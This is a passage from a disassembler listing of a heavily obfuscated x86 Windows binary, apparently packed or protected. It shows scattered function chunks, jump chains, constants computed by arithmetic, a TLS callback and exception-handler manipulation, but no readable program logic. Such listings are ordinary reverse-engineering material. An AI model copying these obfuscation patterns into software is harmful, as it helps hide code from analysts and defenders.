loc_42320D: ; CODE XREF: sub_42C0BC+ADj
jmp loc_42AFD1
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_423212: ; CODE XREF: sub_428BBD-91Fj
jmp loc_426E71
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
push edi
push 33D29570h
mov edi, offset loc_424E7B
xchg edi, [esp]
retn
; ---------------------------------------------------------------------------
add eax, 6BBD9B7Eh
jmp loc_426C78
; ---------------------------------------------------------------------------
popf
jno loc_42397F
jmp sub_42BB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_42323D: ; CODE XREF: sub_42982D+248Ej
jno loc_42A8D7
pushf
jp loc_424B80
loc_42324A: ; CODE XREF: sub_42982D:loc_422628j
push esi
push 0C7BBAE52h
pop esi
add esi, 3886943Ch
xchg esi, [esp+0]
jmp sub_429BC2
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_42325F: ; CODE XREF: _94j21ax3:loc_424EF4j
; sub_421CAA+4EF3j
shr edi, 0Ah
push ebp
test esi, 2AD8E43Bh
jmp loc_4280C7
; END OF FUNCTION CHUNK FOR sub_421CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA07
loc_42326E: ; CODE XREF: sub_42AA07+Cj
push offset sub_426562
jmp loc_421A9A
; END OF FUNCTION CHUNK FOR sub_42AA07
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_423278 proc near ; CODE XREF: sub_428694:loc_427F9Dj
retn
sub_423278 endp
; ---------------------------------------------------------------------------
loc_423279: ; CODE XREF: _94j21ax3:0042C4CBj
jmp loc_42B2BC
; ---------------------------------------------------------------------------
loc_42327E: ; CODE XREF: _94j21ax3:0042B49Dj
jo loc_42AE4E
; =============== S U B R O U T I N E =======================================
sub_423284 proc near ; CODE XREF: sub_428AE1+1p
; FUNCTION CHUNK AT 004219BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004224EA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004239DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004265BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B06F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B6F1 SIZE 00000015 BYTES
mov [esp+0], esi
pop esi
mov ebp, esp
jmp loc_4265BD
sub_423284 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42328F proc near ; CODE XREF: sub_42C24F:loc_421EEBp
; _94j21ax3:00429A35j
; FUNCTION CHUNK AT 0042417A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004267B4 SIZE 00000005 BYTES
xchg ecx, [esp+0]
pop ecx
push ecx
push 0F9BA941Fh
pop ecx
add ecx, 687AD63h
jmp loc_42417A
sub_42328F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4232A5: ; CODE XREF: sub_42284F+22DDj
test eax, 4
jmp loc_424354
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
pushf
jmp sub_421457
; =============== S U B R O U T I N E =======================================
sub_4232B6 proc near ; CODE XREF: sub_422FDC+3EAEp
; sub_4238D1+746Ej
xchg esi, [esp+0]
pop esi
mov [ebp-0Ch], eax
sub_4232B6 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4225A5
loc_4232BD: ; CODE XREF: sub_4225A5+Bj
; sub_422FDC+B90j ...
mov eax, [ebp-20h]
call sub_42A5B9
loc_4232C5: ; CODE XREF: sub_4266F6:loc_42C5C1j
mov edx, 65DE9EC5h
call sub_4239A5
push eax
ror eax, 5
push edi
push 4C962A6h
pop edi
jmp loc_424061
; END OF FUNCTION CHUNK FOR sub_4225A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FC8
loc_4232E0: ; CODE XREF: sub_422FC8+567Dj
jmp loc_428318
; END OF FUNCTION CHUNK FOR sub_422FC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4232E5: ; CODE XREF: sub_4272E9-4DC1j
; sub_42A277-72CEj
jmp loc_427698
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_4232EA: ; CODE XREF: sub_421689:loc_4257ACj
jnz loc_421716
jmp loc_42688B
; END OF FUNCTION CHUNK FOR sub_421689
; =============== S U B R O U T I N E =======================================
sub_4232F5 proc near ; CODE XREF: _94j21ax3:00422F76j
; sub_427AEB:loc_42C33Ep
; FUNCTION CHUNK AT 00422C87 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042514A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429A6C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042C1A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C3F5 SIZE 00000010 BYTES
mov [esp+0], esi
pop esi
jnz loc_42C1A3
mov eax, [ebp+8]
or dword ptr [eax-8], 4
mov eax, [ebp-4]
movzx eax, byte ptr [eax]
mov edx, [ebp+8]
jmp loc_429A6C
sub_4232F5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_423314: ; CODE XREF: sub_42426B+1Ej
mov edx, [edx]
mov byte ptr [eax+edx], 0
call sub_429897
loc_42331F: ; CODE XREF: sub_42B83A+9j
jmp loc_42A544
; END OF FUNCTION CHUNK FOR sub_42426B
; =============== S U B R O U T I N E =======================================
sub_423324 proc near ; CODE XREF: _94j21ax3:00422861j
; sub_428709+3p
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004212C5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004216F7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00421812 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00421933 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004219FD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00421A63 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00421B13 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00421CFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422016 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00422080 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004220E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422157 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004223C3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00422734 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00422AD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422B27 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00422F46 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042318E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00423950 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042398D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423AED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423D74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00423DDB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00424094 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004243F2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424798 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424CE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424D0D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00425099 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425556 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00425642 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004257B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425861 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042594E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425AB3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426680 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426CA8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426D2D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426F05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427052 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427165 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427260 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00427732 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042786E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00427B91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427EAE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004280C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283C5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00428ABD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428D12 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428D8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429032 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00429088 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004293C1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00429596 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429640 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297D4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00429A45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429AAF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00429C97 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429F28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A1DE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A3CE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A584 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A93B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042AA3E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B5CB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042B8C2 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042B920 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042B9A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BAA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BABD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BE96 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042C0AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C20C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C2FD SIZE 0000001D BYTES
mov [esp+2Ch+var_2C], edx
pop edx
push ecx
mov esp, ebp
pop ebp
push 0A491833Ch
pop eax
jmp loc_423440
; ---------------------------------------------------------------------------
loc_423337: ; CODE XREF: sub_427A68-3761j
jz loc_42C0AC
pop large dword ptr fs:0
call sub_42166E
loc_423349: ; CODE XREF: sub_4294B3+204j
jmp loc_427165
; ---------------------------------------------------------------------------
loc_42334E: ; CODE XREF: sub_4252DD+14j
jmp nullsub_45
; ---------------------------------------------------------------------------
loc_423353: ; CODE XREF: sub_42966A:loc_42512Ej
jz loc_42318E
jmp loc_424D0D
; ---------------------------------------------------------------------------
push 2DFCF63Fh
jmp sub_421DC4
; ---------------------------------------------------------------------------
locret_423368: ; CODE XREF: _94j21ax3:00423143j
retn
; ---------------------------------------------------------------------------
loc_423369: ; CODE XREF: sub_427CB6+12j
jmp loc_425556
; ---------------------------------------------------------------------------
add esi, 8EB850E8h
jmp sub_421B3A
; ---------------------------------------------------------------------------
loc_423379: ; CODE XREF: sub_42C3BD-10B4j
jns loc_42284A
jmp loc_422734
; ---------------------------------------------------------------------------
locret_423384: ; CODE XREF: sub_42A389:loc_421929j
retn
; ---------------------------------------------------------------------------
loc_423385: ; CODE XREF: sub_42BD03-203Ej
jmp loc_421812
; ---------------------------------------------------------------------------
shl esi, 10h
jmp loc_425866
; ---------------------------------------------------------------------------
locret_423392: ; CODE XREF: sub_428A1C+11j
retn
; ---------------------------------------------------------------------------
loc_423393: ; CODE XREF: sub_4289CF+213Cj
jmp nullsub_16
; ---------------------------------------------------------------------------
loc_423398: ; CODE XREF: sub_422392:loc_4291F5j
mov [ebp-4], eax
mov eax, [ebp-10h]
push offset sub_42BC39
jmp loc_4280C1
; ---------------------------------------------------------------------------
locret_4233A8: ; CODE XREF: _94j21ax3:loc_427613j
retn
; ---------------------------------------------------------------------------
loc_4233A9: ; CODE XREF: sub_423F55-1D79j
mov eax, [ebp-4]
inc eax
mov eax, [eax]
add eax, [ebp-4]
jmp loc_425861
; ---------------------------------------------------------------------------
loc_4233B7: ; CODE XREF: sub_421480:loc_421AE4j
add eax, 0CABB093Ch
push eax
push 2CEA325h
pop eax
sub eax, 0D7CF1A30h
rol eax, 11h
test eax, 20000000h
jmp loc_42B9A8
; ---------------------------------------------------------------------------
loc_4233D8: ; DATA XREF: sub_423C51+3B18o
call sub_421EAD
cmp eax, [ebp-8]
jnz loc_429C97
mov eax, [ebp-14h]
mov eax, [eax+24h]
call sub_42B4F1
loc_4233F1: ; CODE XREF: sub_4214E6+7BFFj
jmp loc_42A1DE
; ---------------------------------------------------------------------------
loc_4233F6: ; CODE XREF: sub_426E5C+10j
jmp loc_423D74
; ---------------------------------------------------------------------------
loc_4233FB: ; CODE XREF: sub_42BC39-67D3j
jmp loc_427052
; ---------------------------------------------------------------------------
loc_423400: ; CODE XREF: sub_42C5E8-54Aj
xchg edx, [eax]
loc_423402: ; CODE XREF: sub_42C5E8:loc_423CFDj
push offset sub_42AAC3
jmp nullsub_17
; ---------------------------------------------------------------------------
dword_42340C dd 0B4D3BF30h ; DATA XREF: sub_423EA4+3w
; sub_424A57-95Dr
; ---------------------------------------------------------------------------
loc_423410: ; CODE XREF: sub_422048+5168j
jmp nullsub_18
; ---------------------------------------------------------------------------
db 0D2h, 78h, 76h
dword_423418 dd 0F3D04CBBh ; DATA XREF: sub_42A9E7-2F55r
; sub_425790+2856w
; ---------------------------------------------------------------------------
loc_42341C: ; CODE XREF: sub_428AE1+6A6j
jmp loc_42398D
; ---------------------------------------------------------------------------
loc_423421: ; CODE XREF: sub_429DCC-4DBEj
jmp loc_426680
; ---------------------------------------------------------------------------
dw 10E6h
dword_423428 dd 0FCE2CDEEh ; DATA XREF: _94j21ax3:004276EDr
; sub_4288BF+Ew
; ---------------------------------------------------------------------------
loc_42342C: ; CODE XREF: sub_426716-4982j
jmp loc_429AAF
; ---------------------------------------------------------------------------
db 0FAh, 39h, 0E1h
dword_423434 dd 0E736A377h ; DATA XREF: sub_423505:loc_42350Cw
; sub_42AB30+9r
dword_423438 dd 0E088EFCFh ; DATA XREF: sub_4239F1-278Cw
; _94j21ax3:00423B37r
dword_42343C dd 0 ; DATA XREF: sub_426716:loc_423E83w
; sub_428381+4w ...
; ---------------------------------------------------------------------------
loc_423440: ; CODE XREF: sub_423324+Ej
jmp loc_427EAE
sub_423324 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0C5h, 0FCh, 3Ah
db 0CCh
db 0A4h, 0DCh, 0BCh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42344C: ; CODE XREF: sub_421D33+38BDj
jmp loc_42758A
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
db 98h, 50h, 0AEh
dword_423454 dd 0BCh ; DATA XREF: _94j21ax3:00427292w
; sub_423324+5D16w ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425868
loc_423458: ; CODE XREF: sub_425868:loc_425873j
mov ebp, esp
call sub_429C27
loc_42345F: ; CODE XREF: sub_422898+FD0j
jmp loc_424E49
; END OF FUNCTION CHUNK FOR sub_425868
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_423465: ; CODE XREF: sub_423614+3A5Dj
jmp loc_42C508
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42346A: ; CODE XREF: sub_42A0CC-296Bj
pushf
loc_42346B: ; CODE XREF: sub_42A0CC:loc_42C5DDj
mov eax, 63h
push ecx
push offset sub_42BD30
jmp nullsub_201
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42347B: ; CODE XREF: sub_428BBD:loc_425A25j
mov edx, eax
sub ecx, edi
adc eax, ecx
jmp loc_42A6C0
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_423486: ; CODE XREF: sub_42851E:loc_42852Fj
push 47B3F68Bh
pop ecx
xor ecx, 0CF4CB7BFh
sub ecx, ds:4000F4h
jmp loc_42433F
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_42349D: ; CODE XREF: sub_426DA4:loc_42A73Cj
pushf
mov [esp+4+var_4], ecx
push 0B85C8475h
pop ecx
jmp loc_42B5FC
; END OF FUNCTION CHUNK FOR sub_426DA4
; ---------------------------------------------------------------------------
adc eax, 0A01F1FBh
; START OF FUNCTION CHUNK FOR sub_428993
loc_4234B2: ; CODE XREF: sub_428993-209Ej
jmp sub_427021
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
xor edi, esi
jmp sub_42AA78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4234BE: ; CODE XREF: sub_42A0CC-237Ej
adc ebp, esi
loc_4234C0: ; CODE XREF: sub_42A0CC:loc_42699Bj
mov eax, 62h
call sub_425A09
jmp loc_4250AC
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
jmp loc_4298E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4234D4: ; CODE XREF: sub_42A0CC:loc_427C89j
call nullsub_7
jmp loc_42AB58
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
cmp dword ptr [ebp-0Ch], 0
jz loc_4234F1
mov eax, [ebp-0Ch]
push eax
call sub_42B079
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4234F1: ; CODE XREF: _94j21ax3:004234E2j
; sub_423F55+B62j ...
push 0E5D4B937h
jmp loc_427B96
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
loc_4234FB: ; CODE XREF: _94j21ax3:0042BD6Fj
mov edx, offset sub_429259
call sub_429251
; =============== S U B R O U T I N E =======================================
sub_423505 proc near ; CODE XREF: sub_421B3A+8p
; _94j21ax3:004257DCj
; FUNCTION CHUNK AT 0042B08D SIZE 00000005 BYTES
mov [esp+0], ebx
pop ebx
ror eax, 18h
loc_42350C: ; CODE XREF: _94j21ax3:00421D3Fj
mov ds:dword_423434, eax
jmp loc_42B08D
sub_423505 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423517 proc near ; DATA XREF: _94j21ax3:004235E0o
; FUNCTION CHUNK AT 0042B81D SIZE 00000005 BYTES
push 97F7B2D2h
or edi, ecx
jmp loc_42B81D
sub_423517 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A268
loc_423523: ; CODE XREF: sub_42A268-1FEEj
jb loc_42A1ED
cdq
jmp loc_428D8F
; END OF FUNCTION CHUNK FOR sub_42A268
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_42352F: ; CODE XREF: TlsCallback_0-2240j
test eax, esi
jmp loc_423F94
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_423536: ; CODE XREF: sub_42972F+15Ej
push 0AD176414h
xor [esp+4+var_4], 562EC145h
xor [esp+4+var_4], 0FB39A551h
push 10h
push edx
push 2F8C3B41h
jmp loc_423934
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42430C
loc_423556: ; CODE XREF: sub_42430C+Ej
or eax, eax
jnz loc_428CDA
call sub_4210AA
mov edx, 1AE260E8h
jmp loc_428FF6
; END OF FUNCTION CHUNK FOR sub_42430C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42356D: ; CODE XREF: sub_42A0CC-8AA4j
; sub_42A0CC:loc_426D93j
call sub_429629
; END OF FUNCTION CHUNK FOR sub_42A0CC
; START OF FUNCTION CHUNK FOR sub_42284F
loc_423572: ; CODE XREF: sub_42284F-12A1j
shr edx, 8
loc_423575: ; CODE XREF: sub_42284F:loc_428160j
lea eax, [ebp-26Fh]
push offset sub_427668
jmp loc_42AB48
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42780F
loc_423585: ; CODE XREF: sub_42780F:loc_423105j
call nullsub_11
call sub_42574E
mov edx, 0CF0182F6h
call sub_422048
mov ds:dword_42C4A4, eax
jmp loc_424570
; END OF FUNCTION CHUNK FOR sub_42780F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BA8A
loc_4235A3: ; CODE XREF: sub_42BA8A-6005j
jz loc_428831
jmp loc_425215
; END OF FUNCTION CHUNK FOR sub_42BA8A
; =============== S U B R O U T I N E =======================================
sub_4235AE proc near ; DATA XREF: sub_42B772-2B8Co
or eax, eax
jnz loc_42A2BC
call sub_422591
sub_4235AE endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_424475
loc_4235BB: ; CODE XREF: sub_424475+Ej
jmp nullsub_161
; END OF FUNCTION CHUNK FOR sub_424475
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F43
loc_4235C0: ; CODE XREF: sub_423F43:loc_4246AEj
mov [ebp+var_4], eax
call nullsub_11
loc_4235C8: ; CODE XREF: sub_42B079:loc_42C414j
push offset loc_42C444
jmp nullsub_24
; END OF FUNCTION CHUNK FOR sub_423F43
; ---------------------------------------------------------------------------
loc_4235D2: ; CODE XREF: _94j21ax3:loc_429F23j
jns loc_429E3E
or ecx, edx
jmp loc_42739E
; ---------------------------------------------------------------------------
push edi
push offset sub_423517
jmp loc_428AA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_4235EA: ; CODE XREF: sub_428BBD-97Bj
ja loc_42AD25
jb loc_4297E0
loc_4235F6: ; CODE XREF: sub_428BBD:loc_42BDB8j
or edi, 0F3350ED2h
add edi, 8C4F730h
xchg edi, [esp+4+var_4]
jmp loc_424D3B
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
mov edx, 0F78D9DBDh
jmp loc_4278B0
; =============== S U B R O U T I N E =======================================
sub_423614 proc near ; CODE XREF: _94j21ax3:00423F1Ej
; sub_423614+86BBp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042109B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421580 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042228D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422A56 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00422FE6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004230E6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423465 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004251E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004256D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042665B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00426D3D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042705F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00428BAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F04 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042AA55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE88 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B50E SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042B822 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042BCC0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042C2F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C508 SIZE 00000012 BYTES
mov [esp+0], ebx
pop ebx
mov eax, [eax]
pushf
push 9DEE4D2Ch
pop edx
add edx, 1521527Eh
jmp loc_42228D
sub_423614 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_42362C: ; CODE XREF: _94j21ax3:004277D0j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427C35
loc_42362D: ; CODE XREF: sub_427C35+3543j
jmp loc_424EA5
; END OF FUNCTION CHUNK FOR sub_427C35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_423632: ; CODE XREF: sub_42B9CF-529Ej
jmp loc_423A8C
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_423637: ; CODE XREF: sub_42484C+2B33j
jle loc_423D36
pop ebp
jle loc_427082
jle loc_42C444
loc_42364A: ; CODE XREF: _94j21ax3:loc_426AF2j
push ebx
push 0B0D6A231h
pop ebx
add ebx, 4F6BF4E3h
jmp loc_42B9A0
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272D8
loc_42365C: ; CODE XREF: sub_4272D8+Cj
mov esp, ebp
push 19840C28h
pop ebp
add ebp, 0E6BE2A4Bh
xchg ebp, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_4272D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_42366E: ; CODE XREF: sub_4216D0+AE5Cj
jmp loc_42116C
; END OF FUNCTION CHUNK FOR sub_4216D0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_423674: ; CODE XREF: sub_42169F+9FBBj
jmp nullsub_148
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_423679: ; CODE XREF: sub_42484C+521Bj
jmp loc_425013
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
loc_42367E: ; CODE XREF: _94j21ax3:00427985j
jmp loc_42BD74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42559A
loc_423683: ; CODE XREF: sub_42559A+1Aj
jmp loc_423E20
; END OF FUNCTION CHUNK FOR sub_42559A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_423688: ; CODE XREF: sub_429CAE-761Fj
rol eax, 7
jmp loc_421C20
; END OF FUNCTION CHUNK FOR sub_429CAE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pushf
mov [esp], eax
mov eax, esp
jmp loc_424F89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_42369C: ; CODE XREF: sub_42C057j
push 0E2A325BEh
pop eax
add eax, 1D9F0E7Eh
mov eax, [eax]
jmp loc_424834
; END OF FUNCTION CHUNK FOR sub_42C057
; =============== S U B R O U T I N E =======================================
sub_4236AF proc near ; DATA XREF: sub_425934:loc_426455o
mov eax, [ebp-4]
call nullsub_182
sub_4236AF endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4236B8 proc near ; CODE XREF: sub_425A09j
; FUNCTION CHUNK AT 0042A64F SIZE 00000005 BYTES
push ebp
loc_4236B9: ; CODE XREF: _94j21ax3:00422087j
push offset sub_42220B
jmp loc_42A64F
sub_4236B8 endp
; ---------------------------------------------------------------------------
ror ebp, 1Fh
jmp sub_427E13
; ---------------------------------------------------------------------------
loc_4236CB: ; CODE XREF: _94j21ax3:00424043j
jg loc_423097
loc_4236D1: ; CODE XREF: _94j21ax3:loc_42C262j
push 60C381FEh
pop eax
xor eax, 49102303h
jmp loc_42B088
; =============== S U B R O U T I N E =======================================
sub_4236E2 proc near ; CODE XREF: sub_421799+3j
; FUNCTION CHUNK AT 004240A0 SIZE 00000005 BYTES
push ebx
push offset sub_429A83
jmp loc_4240A0
